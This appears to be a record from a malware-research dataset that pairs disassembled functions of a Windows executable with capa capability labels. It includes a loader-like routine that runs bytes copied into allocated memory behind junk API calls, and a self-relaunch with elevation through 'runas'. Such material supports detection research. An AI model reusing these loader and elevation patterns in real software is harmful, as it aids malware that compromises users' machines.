joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401360
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x420b78
push eax
mov dword fs:[0], esp
mov eax, dword [0x846f4c]
sub esp, 0x820
push ebx
push esi
push edi
cmp eax, 0x93
jne 0x4013f0
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [ebp - 0x2c]
call fcn.00401670
push 0x422b40
push 0
mov dword [ebp - 4], 0
call fcn.00401b66
call fcn.004017be
push 0
push 0
call fcn.00401a97
push 0
push 0
call fcn.0040194d
push 0
push 0
call fcn.00401a97
add esp, 0x20
push 0
call fcn.00401e28
mov ecx, dword [0x427980]
add eax, 0x1134b
push eax
push 0
mov dword [0x8479b0], ecx
mov dword [0x846f4c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x846900], eax
call fcn.004012a0
xor esi, esi
cmp dword [0x846f4c], esi
jbe 0x40147d
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
nop
mov edx, dword [0x8479b0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x846900]
mov byte [ecx + esi], al
cmp dword [0x846f4c], 0x490
jne 0x401474
push 0
push 0
call edi
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
inc esi
cmp esi, dword [0x846f4c]
jb 0x401430
mov edi, dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor esi, esi
mov eax, dword [0x846f4c]
add eax, esi
cmp eax, 0x8d
jne 0x4014b4
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push str.wutusahafofesohelasecisojagop
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc esi
cmp esi, 0x38681
jl 0x40148b
call fcn.00401200
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
lea ebx, [ebx]
push 0
call edi
cmp esi, 0x62
jne 0x4014de
call fcn.00401280
inc esi
cmp esi, 0x674db
jl 0x4014d0
mov esi, dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x846f4c], 0x86
jne 0x401537
push 0
lea ecx, [ebp - 0x82c]
push ecx
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
sub dword [ebp - 0x10], 1
jne 0x401500
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x846900]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401560
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x846f4c], 0x400
push esi
push edi
jne 0x401584
lea eax, [ebp - 0x24]
call fcn.00401640
lea esi, [ebp - 0x24]
call fcn.00401660
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
mov ebx, dword [ebp - 4]
xor esi, esi
call edi
cmp esi, 0x2af054
jle 0x4015a2
cmp ebx, 0x787e04e5
jne 0x4015ab
inc esi
cmp esi, 0x1d8b
jl 0x401590
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
lea esp, [esp]
push 0
call edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, 0x206d47
jg 0x4015dd
inc esi
cmp esi, 0x4f6a4
jl 0x4015c0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
pop ebx
push 0
call edi
cmp esi, 0x2b2589
jg 0x4015fb
inc esi
cmp esi, 0x1190b
jl 0x4015e6
mov eax, dword [0x4279ac]
mov dword [0x846f4c], eax
call fcn.00401360
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, 0x3078f
jmp 0x401620
cmp dword [0x846f4c], 0x51f
jne 0x401630
push 0
call esi
sub edi, 1
jne 0x401620
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x406780
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424a68]
jne 0x40678a
repz ret
jmp fcn.00409caf
Function at 0x409726
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004037b6
and dword [ebp - 4], 0
cmp dword [0x429338], 0
mov ebx, eax
jne 0x4097d7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409888
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409888
push eax
call fcn.00403744
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x429338], eax
call esi
push eax
call fcn.00403744
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42933c], eax
call esi
push eax
call fcn.00403744
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x429340], eax
call esi
push eax
call fcn.00403744
pop ecx
mov dword [0x429348], eax
test eax, eax
je 0x4097d7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403744
pop ecx
mov dword [0x429344], eax
mov eax, dword [0x429344]
cmp eax, ebx
je 0x40982f
cmp dword [0x429348], ebx
je 0x40982f
push eax
call fcn.004037bf
push dword [0x429348]
mov esi, eax
call fcn.004037bf
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40982f
test edi, edi
je 0x40982f
call esi
test eax, eax
je 0x409826
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409826
test byte [ebp - 0xc], 1
jne 0x40982f
or dword [ebp + 0x10], 0x200000
jmp 0x409868
mov eax, dword [0x42933c]
cmp eax, ebx
je 0x409868
push eax
call fcn.004037bf
pop ecx
test eax, eax
je 0x409868
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409868
mov eax, dword [0x429340]
cmp eax, ebx
je 0x409868
push eax
call fcn.004037bf
pop ecx
test eax, eax
je 0x409868
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x429338]
call fcn.004037bf
pop ecx
test eax, eax
je 0x409888
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40988a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405da1
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x43b7cd
call fcn.0043ad60
push ecx
push ecx
mov al, byte [ebp - 0xd]
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x14], esi
mov byte [esi], al
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x10]
push edi
mov dword [ebp - 4], edi
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x20]
push edi
mov byte [ebp - 4], 1
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x30]
push edi
mov byte [ebp - 4], 2
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x40]
push edi
mov byte [ebp - 4], 3
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x50]
push edi
mov byte [ebp - 4], 4
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x60]
push edi
mov byte [ebp - 4], 5
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x70]
push edi
mov byte [ebp - 4], 6
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x80]
push edi
mov byte [ebp - 4], 7
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x90]
push edi
mov byte [ebp - 4], 8
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0xa0]
push edi
mov byte [ebp - 4], 9
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0xb0]
push edi
mov byte [ebp - 4], 0xa
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x405fdf
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x43b8b7
call fcn.0043ad60
push ecx
push ecx
mov al, byte [ebp - 0xd]
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x14], esi
mov byte [esi], al
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov al, byte [ebp - 0xd]
mov dword [ebp - 4], edi
mov byte [esi + 0x10], al
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x20]
push edi
mov byte [ebp - 4], 1
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x30]
push edi
mov byte [ebp - 4], 2
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4095eb
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, word [ebp + 8]
push ebx
push esi
push edi
push 0xa
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
cmp edi, esi
je 0x409671
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
cmp ebx, esi
je 0x409671
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp ebx, esi
je 0x409671
push dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
call fcn.0042c29f
mov eax, dword [eax + 4]
pop ecx
cmp eax, esi
pop ecx
jne 0x40964a
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 1
lea ecx, [ebp - 0x14]
mov edi, eax
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
cmp edi, esi
jne 0x409675
xor al, al
jmp 0x409691
lea eax, [ebp + 8]
push esi
push eax
mov dword [ebp + 8], esi
push dword [ebp - 4]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410b07
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x43d221
call fcn.0043ad60
push ecx
push ecx
mov al, byte [ebp - 0xd]
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x14], esi
push edi
mov byte [esi], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x10]
push edi
mov dword [ebp - 4], edi
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x20]
push edi
mov byte [ebp - 4], 1
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x30]
push edi
mov byte [ebp - 4], 2
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x40]
push edi
mov byte [ebp - 4], 3
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x50]
push edi
mov byte [ebp - 4], 4
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x60]
push edi
mov byte [ebp - 4], 5
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x70]
push edi
mov byte [ebp - 4], 6
mov byte [ecx], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov cl, byte [ebp - 0xd]
lea eax, [esi + 0x80]
mov byte [eax], cl
mov cl, byte [ebp - 0xd]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
lea eax, [esi + 0x90]
mov byte [eax], cl
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x419f4b
Capabilities:
Get http content length

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 8]
push esi
push esi
push esi
push esi
push dword [edi]
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], 8
call dword [sym.imp.WININET.dll_HttpSendRequestW]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000005
push dword [edi]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
pop edi
pop esi
leave
ret
Function at 0x421cfb
Capabilities:
Get process heap force flags

Disassembly:
mov eax, 0x43ec2c
call fcn.0043ad60
push ecx
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push esi
mov dword [ebp - 4], 8
call edi
lea eax, [esi + 0x18]
push eax
call edi
lea eax, [esi + 0x30]
push eax
call edi
lea eax, [esi + 0x48]
push eax
call edi
lea eax, [esi + 0x60]
push eax
call edi
lea eax, [esi + 0x78]
push eax
call edi
lea eax, [esi + 0x90]
push eax
call edi
lea eax, [esi + 0xa8]
push eax
call edi
lea eax, [esi + 0xc0]
push eax
call edi
lea eax, [esi + 0xd8]
push eax
call edi
lea ecx, [esi + 0x468]
call fcn.0040663e
lea ecx, [esi + 0x438]
mov byte [ebp - 4], 7
call fcn.0040659d
lea edi, [esi + 0x418]
mov dword [ebp - 0x14], edi
push 1
lea ecx, [edi + 0x10]
mov byte [ebp - 4], 9
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
mov ecx, edi
mov byte [ebp - 4], 6
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea ecx, [esi + 0x3c8]
mov byte [ebp - 4], 5
call fcn.00407c71
lea edi, [esi + 0x3a8]
mov dword [ebp - 0x14], edi
push 1
lea ecx, [edi + 0x10]
mov byte [ebp - 4], 0xa
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
mov ecx, edi
mov byte [ebp - 4], 4
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea ecx, [esi + 0x348]
mov byte [ebp - 4], 3
call fcn.0040616e
lea ecx, [esi + 0x308]
mov byte [ebp - 4], 2
call fcn.0040604a
mov byte [ebp - 4], 1
lea ecx, [esi + 0x2c8]
call fcn.00405f86
and byte [ebp - 4], 0
lea ecx, [esi + 0x208]
call fcn.00405eb0
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 0xf0]
call fcn.00404ea4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4232da
Capabilities:
Accept command line arguments

Disassembly:
mov eax, 0x43ee07
call fcn.0043ad60
sub esp, 0x7b8
push ebx
lea eax, [ebp - 0x18]
push esi
xor ebx, ebx
push eax
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], bl
mov byte [ebp - 0x12], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x18]
push esi
call fcn.00423458
add esp, 0xc
cmp byte [ebp - 0x14], bl
je 0x423324
call fcn.004234ce
push dword [ebp - 0x12]
lea ecx, [ebp - 0x7c4]
push dword [ebp + 8]
call fcn.00404c2a
cmp byte [ebp - 0x13], bl
mov dword [ebp - 4], ebx
jne 0x42337e
call fcn.00423631
test al, al
jne 0x42337e
push dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0042369d
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 1
push eax
push ebx
call fcn.004235b8
add esp, 0x14
mov byte [ebp - 4], bl
test al, al
push 1
lea ecx, [ebp - 0x28]
je 0x423378
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
jmp 0x4233d8
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebx
push ebx
call fcn.004231c8
push ebx
push ebx
push ebx
push 4
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call fcn.004231fe
add esp, 0x2c
lea eax, [ebp - 0x7c4]
lea ecx, [ebp - 0x248]
push eax
call fcn.00438ecc
push dword [ebp + 8]
mov byte [ebp - 4], 2
call fcn.004233f9
pop ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.00426955
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], bl
call fcn.00438f1d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7c4]
call fcn.00404ffc
mov ecx, dword [ebp - 0xc]
pop esi
xor eax, eax
pop ebx
mov dword fs:[0], ecx
leave
ret 0x10
Function at 0x4234ce
Capabilities:
Terminate process

Disassembly:
mov eax, 0x43ee2f
call fcn.0043ad60
sub esp, 0x23c
push esi
lea eax, [ebp - 0x248]
push 0x104
xor esi, esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov al, byte [ebp - 0xd]
push esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x20], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
pop ecx
push eax
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x20]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::assign_unsigned_short_int_const___unsigned_int_]
lea eax, [ebp - 0x20]
mov dword [ebp - 4], esi
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.00426577
push str._test
push eax
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 1
push eax
call sub.MSVCP60.dll_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int_____cdecl_std::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__
add esp, 0x14
push 1
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
push 1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Tidy_bool_]
mov eax, dword [ebp - 0x2c]
cmp eax, esi
jne 0x423573
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, esi
pop esi
je 0x423595
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffffb
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4235b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
lea eax, [ebp - 0x244]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x42362d
push edi
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x3c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x244]
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], str.runas
mov dword [ebp - 0x20], 1
mov eax, dword [eax + 4]
pop edi
test eax, eax
jne 0x423618
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_short_int_const__private:_static_unsigned_short_int_const____cdecl_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::_Nullstr_void_::_2::_C]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
neg eax
sbb eax, eax
neg eax
leave
ret
xor al, al
leave
ret